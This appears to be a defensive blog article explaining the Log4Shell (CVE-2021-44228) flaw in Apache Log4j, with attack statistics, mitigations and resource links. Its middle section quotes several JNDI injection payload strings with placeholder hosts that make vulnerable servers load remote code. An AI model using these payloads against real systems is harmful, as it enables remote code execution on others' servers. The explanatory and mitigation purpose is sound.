Log4j in a Nutshell. From Attack to Prevention

We have yet another critical vulnerability lurking around in a popular Java library called “Log4j”. Log4j is a popular Java library developed and maintained by the Apache foundation. The library is widely adopted and used in many commercial and open-source software products as a logging framework for Java.

Background

Let’s first talk about the vulnerability itself.

A Java program can use JNDI (Java Naming and Directory Interface) and LDAP together to find a Java object containing data that it might need. In the standard Java documentation there’s an example that talks to an LDAP server to retrieve attributes from an object. It uses this URL ldap://localhost:389/o=JNDITutorial to find this JNDITutorial object from an LDAP server running on the localhost on port 389 and goes on to read attributes from it.

Here is the fun part:

The tutorial also says “If your LDAP server is located on another machine or is using another port, then you need to edit the LDAP URL”. That flexibility means that if an attacker could control the LDAP URL they’d be able to cause a Java program to load an object from a server under their control.

Now we know the vulnerability, let’s understand what damage it can cause if leveraged by threat actors.

From the CVE-2021-44228 description: “Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other [Java Naming and Directory Interface] JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.”

The JNDI injection can leverage specific protocols to request a malicious payload from an attacker’s infrastructure – including LDAP, Secure LDAP (LDAPS), Remote Method Invocation (RMI), Domain Name Service (DNS).

As an example, an attacker can construct a payload (like this: User-Agent: ${jndi:ldap://<host>:<port>/<path>}) and include it in the User-Agent HTTP header of a vulnerable application or web-server to download a malicious payload.

According to a CloudFlare report, here are some of the most used exploit strings: 

• ${jndi:ldap://x.x.x.x/#Touch}
• Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
• ${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}

Given the flaw is relatively easy to exploit, cyber attackers are making over a hundred attempts to exploit a critical security vulnerability in Java logging library Apache Log4j every minute.

In the same report, CloudFlare found somewhere between 200 and 400 IPs actively scanning for this vulnerability at any given time on December 11.

And, so far the largest number of scans or exploitation attempts have come from Canada and then the United States.

CloudFlare also notes that most of the requests appear to be in the form of reconnaissance to see if a server is actually exploitable.

We are also already witnessing how threat actors exploit the Log4Shell vulnerability to execute shell scripts that download and install various cryptominers. 

Mitigation Section

CloudFlare recommends these methods to mitigate CVE-2021-44228:

To mitigate the following options are available (see the advisory from Apache here):

1. Upgrade to Log4j v2.16.0

2. If you are using Log4j v2.10 or above, and cannot upgrade, then set the property: log4j2.formatMsgNoLookups=true

Additionally, an environment variable can be set for these same affected versions: LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. Or remove the JndiLookup class from the classpath. For example, you can run a command like zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class to remove the class from the log4j-core.

Mandiant’s recommendations:

Identify: 

It’s important to determine if your software/product leverages log4j. 

• You can verify with the vendor if the product uses the affected version of log4j. 
• You can also use some of the proprietary scanning tools such as Mandiant Attack Surface Management (fka Intrigue), Tenable, Rapid7, Qualys, WhiteSource. Some open-source tools can also be used such as Nuclei, Log4j-finder, log4j-scan.

Contain:

Once you identify the scope, you should follow the containment steps.

• Restrict egress capabilities from applications and servers.
• Limit the access to the application interfaces that could be leveraged for exploitation targeting.

Patch:

On December 13, 2021, Apache released Log 4j 2 version 2.16.0 based upon the fact that Log4j version 2.15.0 did not fully mitigate the CVE-2021-44228 vulnerability.

Read more about the detailed recommendation methods from Mandiant at Log4Shell Initial Exploitation and Mitigation Recommendations | Mandiant

What’s the fallout going to be?

Assessing the damage of this serious vulnerability at this point is not easy. Cybersecurity experts are actively working around the clock to secure their perimeter to lower the damage. 

That said, some cybersecurity experts are already debating what the future might hold.

Tom Kellermann, VMware’s head of cybersecurity strategy, told The Hill that the vulnerability “is one of the biggest weaknesses in the history of vulnerabilities.” And, his biggest concern is that if someone further weaponizes the vulnerability by creating a worm, which Kellermann described as a polymorphic type of malware that can essentially spread on its own.

Further Resources:

• TrendMicro has created a web-based vulnerability tester that assesses whether you need to take immediate action: Log4j – Vulnerability Tester (trendmicro.com)
• CISA Log4j (CVE-2021-44228) Vulnerability Guidance: GitHub – cisagov/log4j-affected-db
• Cybereason researchers have developed and released a “vaccine” for the Apache Log4Shell vulnerabilities: UPDATED: Cybereason Vaccine Prevents Exploitation of Apache Log4Shell Vulnerabilities (CVE-2021-44228 and CVE-2021-45046)
• Members of the Curated Intelligence Trust Group have compiled a list of IOC feeds and threat reports focused on the recent Log4Shell exploit targeting CVE-2021-44228 in Log4j: GitHub – curated-intel/Log4Shell-IOCs: A collection of intelligence about Log4Shell and its exploitation activity.